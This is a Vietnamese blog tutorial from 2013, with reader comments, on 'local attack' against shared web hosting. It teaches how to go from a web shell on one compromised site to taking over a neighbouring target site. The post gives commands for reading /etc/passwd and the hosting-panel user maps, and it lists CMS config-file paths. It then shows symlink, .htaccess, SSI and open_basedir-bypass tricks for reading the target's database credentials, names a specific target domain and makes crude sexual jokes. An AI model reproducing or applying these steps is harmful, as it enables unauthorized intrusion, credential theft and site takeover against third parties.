Thứ Hai, 26 tháng 8, 2013

Hướng dẫn tổng hợp, chi tiết cơ bản nhất các bước để local một victim.

Bài viết này dựa trên kinh nghiệm cũng như những kiến thức mà mình thấy cần thiết nhất và dễ hiểu nhất để dành cho những bạn nào chưa biết đến Local sau khi đọc xong sẽ biết đến nó và có thể thực hành ở đa số các trường hợp.

I. Đầu tiên là đọc sơ cái Định Nghĩa của Local Attack là gì cái nào:

Local attack là kỹ thuật hack website bằng hình thức tấn công từ nội bộ bên trong. Nghĩa là tấn công vào một website có bảo mật kém chung server với website mục tiêu. Sau đó tấn công sang website mục tiêu bằng các kỹ thuật khác nhau để đạt được mục đích cuối cùng đó là chiếm được toàn quyền website mục tiêu (victim).
Lấy cái ví dụ cho dễ hiểu:

VD1:
+ Server là một cái PC có nhiều folder trên đó.
+ Mỗi folder tương ứng với 1 user toàn quyền trên nó.
+ Local attach đó là làm sao đứng từ folder này dòm ngó và chui vào được cái folder khác. 
VD2:
+ Server là một cái chung cư to đùng.
+ Folder là 1 căn hộ trong chung cư đó và chủ nhà là một em chân dài, da trắng, xinh tươi nằm trong đó.
+ Local attack là làm đủ mọi cách như đục tường, khoét vách phá cửa để vào nhà có em xinh tươi ấy và xxx được em ấy.

II. Những điều cần biết trước khi bắt đầu tấn công và kết thúc Local attack:

1. Xác định website mục tiêu cần tấn công. (victim)
2. Reverse IP để xac định các website khác nằm chung server với website mục tiêu (victim)
3. Tấn công vào 1 trong các website bất kỳ cùng server với website mục tiêu (victim) và chiếm quyền nó.
4. Bước 3 Thành công ta có quyền trên 1 site cùng server với victim. hay mọi người vẫn gào lên là CÓ SHELL RỒI.
5. Chính thức bắt đầu vào quá trình tấn công nội bộ - Local Attack.
6. Tìm thông tin của victim gồm user host, đường dẫn tới victim, file cấu hình của victim (config.php)
7. Tiến hành đủ mọi thủ đoạn, cách, chiêu để xem được NỘI DUNG của file config.php đó.
8. Có thông tin thì ta connect vào database của victim để chiếm quyền admin và up shell chiếm toàn quyền victim. 
=> Kết thúc local attack thành công (xxx được em chân dài xinh tươi ấy rồi :x )

III. Bắt đầu vào chi tiết các bước để Local attack 1 victim.
Ở đây ta bỏ qua các bước từ 1-5 và mặc định là những bước đó ta đã biết sử dụng shell cơ bản cũng như đã có shell trên cùng server victim, và trong phần này mình hướng dẫn dựa trên server có OS là Linux và không cố định ở Distro, kernel nào.Chúng ta bắt đầu vào được thứ 6.

6. Tìm thông tin của victim gồm user host, đường dẫn tới victim, file cấu hình của victim (config.php)
a. Tìm user của victim:

+ Để tìm user của victim ta có rất nhiều cách và cũng có nhiều công cụ để làm việc này riêng mình sẽ chú trọng vào lệnh để vào server linux nào cũng sài được.
- Lệnh : cat /etc/passwd này dùng để đọc nội dung của file passwd nằm trong thư mục etc trên hệ thông.File này chứa toàn bộ tên user của Linux OS

Code:
cat /etc/passwd
less /etc/passwd
...
Xem thêm: Tổng hợp những lệnh shell hay dùng khi local

- Xem chính xác domain nào tương ứng với user nào thì ta dùng lệnh:
đối với server dùng directadmin để quản lý host ta dùng: 
Code:
cat /etc/virtual/domainowners
Đối với server dùng cpanel để quản lý host ta dùng: 
Code:
ls -la /etc/valiases/tendomainvictim.com
chú ý: tendomainvictim.com chính là tên domain website victim cần tấn công vd tôi cần tấn công huynhdegroup.net thì tôi sài lệnh sau:
Code:
ls -la /etc/valiases/huynhdegroup.net
- Có thể dùng chức năng đọc file passwd của con shell các bạn đang sài để view cũng được và đó cũng là một cách nữa để tìm user victim.
- Còn rất nhiều cách để tìm user của victim như xem error log ...
vd : tail -n 10000 /var/log/httpd/domains/huynhdegroup.net.error.log
vd1: cat /usr/local/apache/logs/error_log | grep "huynhdegroup.net" >>"user.txt"

b. Tìm đường dẫn tới thư mục của victim.
Có nhiều cách để xem đường dẫn của victim như check lỗi trực tiếp để hiện thông báo lỗi kèm theo user, path cụ thể... nhưng ở đây là local attack nên mình đề cập đến vài cách tìm như sau:
- Tìm path dựa vào Path của victim chứ shell: ví dụ các bạn vào shell và thấy:
/home/huynhde/public_html/ thì chắc chắn là cấu trúc đường dẫn của victim cũng sẽ tương tự chỉ khác ở phần user mà thôi
=> /home/victim/public_html/
Việc đặt đường dẫn lưu website thì tùy mỗi server sẽ có nơi lưu khác nhau nhưng đa phần trên 90% sử dụng đường dẫn như mình đã nêu. còn lại thì các bạn tự suy ra dựa theo cách suy luận mình đá nói.

c. Tìm file cấu hình của victim (config.php)
Đây là bước quan trọng quyết định tới việc các bạn có thể chiếm được victim hay không phụ thuộc vào bước này.Mình hướng dẫn trong trường hợp đây là mã nguồn victim tự code
thường thì file config.php hay nằm chung thư mục với file index.php tuy nhiên một số người khi code sẽ đưa vào trong vài lớp folder để quản lý code và cách tìm đó là các bạn view nội dung file index.php (để biết view thì các bạn xem bước 7 tiếp theo) để ý các dòng includes các file như là:
Code:
./inc/config.php
./includes/config.php
./includes/db.php
./inc/dbconnect.php
...
Thường thì một số mã nguồn sẽ có đường dẫn file config cố định và các bạn phải tìm hiểu mã nguồn đó để biết được file config đó nằm đâu. mình sẽ giới thiệu vài mã nguồn thông dụng:
Code:
Vbulletin: /home/victim/public_html/includes/config.php
PHPBB: /home/victim/public_html/config.php
Joomla: /home/victim/public_html/configuration.php
WordPress: /home/victim/public_html/wp-config.php
ibp: /home/victim/public_html/conf_global.php
php-fusion: /home/victim/public_html/config.php
Smf: /home/victim/public_html/Settings.php
phpnuke: /home/victim/public_html/html/config.php
Xoops: /home/victim/public_html/mainfile.php
ZenCart: /home/victim/public_html/includes/configure.php
setidio: /home/victim/public_html/datas/config.php
Discuz: /home/victim/public_html/config/config_ucenter.php
Bo-Blog: /home/victim/public_html/data/config.php
Biết được file config.php nằm đâu rồi thì chúng ta bắt đầu qua bước 7 để tiến hành xem nội dung file config đó

7. Tiến hành đủ mọi thủ đoạn, cách, chiêu để xem được NỘI DUNG của file config.php đó.
Có 2 cách thông dụng nhất để xem file config của victim đó là:

A. Dùng lệnh xem file như: cat, less, more nếu server cho phép (tiếc là đa số không cho phép cách này :( )
vd: cat /home/huynhde/public_html/@VHB@/includes/config.php
vd: cat /home/huynhde/public_html/configuration.php
vd: cat /home/huynhde/public_html/wp-config.php
...

B. Dùng phương pháp Symlinks: đây là phương pháp phổ biến nhất và đa số là hơn 95% sử dụng nó.
Symbolic Links là gì?
Symbolic links, vẫn được biết đến với cái tên symlinks, về cơ bản là biện pháp tạo shortcut nâng cao. Nguời dùng có thể tạo các liên kết tượng trưng cho các file hoặc thư mục riêng lẻ, sau đó các liên kết này sẽ xuất hiện như thể chúng được lưu trong cùng thư mục với liên kết tượng trưng mặc dù liên kết tượng trưng lại trỏ đến vị trí thực của chúng.
Có nhiều cách để tiến hành tạo symlinks nhưng mình đề cập đến dùng lệnh symlinks cho cơ bản nhất.Sau đó mới tới việc dùng các tool để khai thác.Để symlinks ta dùng lệnh ln kèm theo tùy chọn cho nó bạn muốn tạo symlinks đến file config.php của victim tên huynhde sau khi đã biết chính xác đường dẫn của nó ta làm như sau:

vd: ta đứng từ site http://dienthoailocal.com/local/shell.php cùng server vớihttp://huynhdegroup.net/@VHB@/ và ta sẽ tạo symlinks tới file config.php của huynhde như sau:
Code:
ls -s /home/huynhde/public_html/@VHB@/includes/config.php 1.txt
-> chạy lệnh này trên shell xong thì ta sẽ có được file 1.txt cùng folder với con shell nếu ta ko đổi thư mục trước khi symlinks.
Lúc này ta có thể xem nội dung của file 1.txt bằng nhiều cách như:
1. Xem trực tiếp bằng lệnh cat hay less: 

Code:
cat 1.txt
less 1.txt
...
2. Xem trực tiếp trên trình duyệt dạng domainshell.com/1.txt
vd: http://dienthoailocal.com/local/shell.php 
sau khi symlink ta sẽ xem như sau 
http://dienthoailocal.com/local/1.txt

Đối với một số server sẽ không cho phép ta xem trực tiếp như trên thì chúng ta sẽ dùng thêm file .htaccessvới nội dung bên dưới để hỗ trợ xem file symlinks:

Code:
Options Indexes FollowSymLinks
DirectoryIndex index.htm
AddType txt .php
AddHandler txt .php
3. Nếu vẫn tiếp tục không xem được thì sẽ có 2 khả năng xảy ra: đó là do server chặn không cho xem và do victim đã chmod phân quyền cho file đó.
+ Đối với việc server chặn không cho xem bằng mod SSI thì chúng ta hay dùng chính SSI để xem file đã symlink bằng cách tạo 1 file SSI có:
- Tên: saocungduoc.shtml
- nội dung:
Code:
<!--#include virtual="1.txt" -->
- Save lại và xem như sau: http://dienthoailocal.com/local/saocungduoc.shtml
Ở trường hợp này thì một số server chúng ta sẽ thấy nó hiện hết nội dung lên liền ở tranghttp://dienthoailocal.com/local/saocungduoc.shtml này.
Tuy nhiên cũng có một số server chúng ta sẽ tháy nó trắng tinh như màng trinh :( lúc này mọi người chịu khó click chuột phải vào chỗ nào trắng nhất và chọn View Source để xem màng trinh nhé =))
- Nếu đã view Source mà không xem được nữa thì chắc nó rơi vào trường hợp bị chmod kỹ hoặc chúng ta symlink bị sai đường dẫn :D

4. Dùng tool để bypass symlink: PHP 5.2.12/5.3.1 symlink() open_basedir bypass
Mọi người xem bài viết này để sử dụng nhé:
Tool bypass symlink 5.2.12 - 5.3.1 - open_basedir


Kết thúc một số phương pháp tạo và xem file config của victim.

8. Có thông tin thì ta connect vào database của victim để chiếm quyền admin và up shell chiếm toàn quyền victim.
Việc connect này thì cũng có nhiều cách nếu bạn nào thích dùng trên giao diện thì xem bài này:
Mã nguồn công cụ thao tác với MySQL qua giao diện


Còn những ai thích thì có thể dùng chức năng connect với database trên con shell bằng cách nhập user database, password database và tên database vào rồi connect sau đó dùng câu lệnh query làm gì tùy các bạn.


Hết tut local cơ bản rồi. Bạn nào không hiểu gì thì cứ hỏi nếu giải thích được mình sẽ support nhiệt tình như con cá trình :D

3 nhận xét:

  1. Khi mình dùng lệnh dir để view file của user khác thì không được.nguyên nhân là sao vậy bạn

    Trả lờiXóa
  2. Hd làm vs hostinger hay hosting free đc ko?

    Trả lờiXóa
  3. Tấn công vào 1 trong các website bất kỳ cùng server với website mục tiêu (victim) và chiếm quyền nó.
    Bác ơi... ở bước này phải làm như nào bác chỉ giùm đi ạ.

    Trả lờiXóa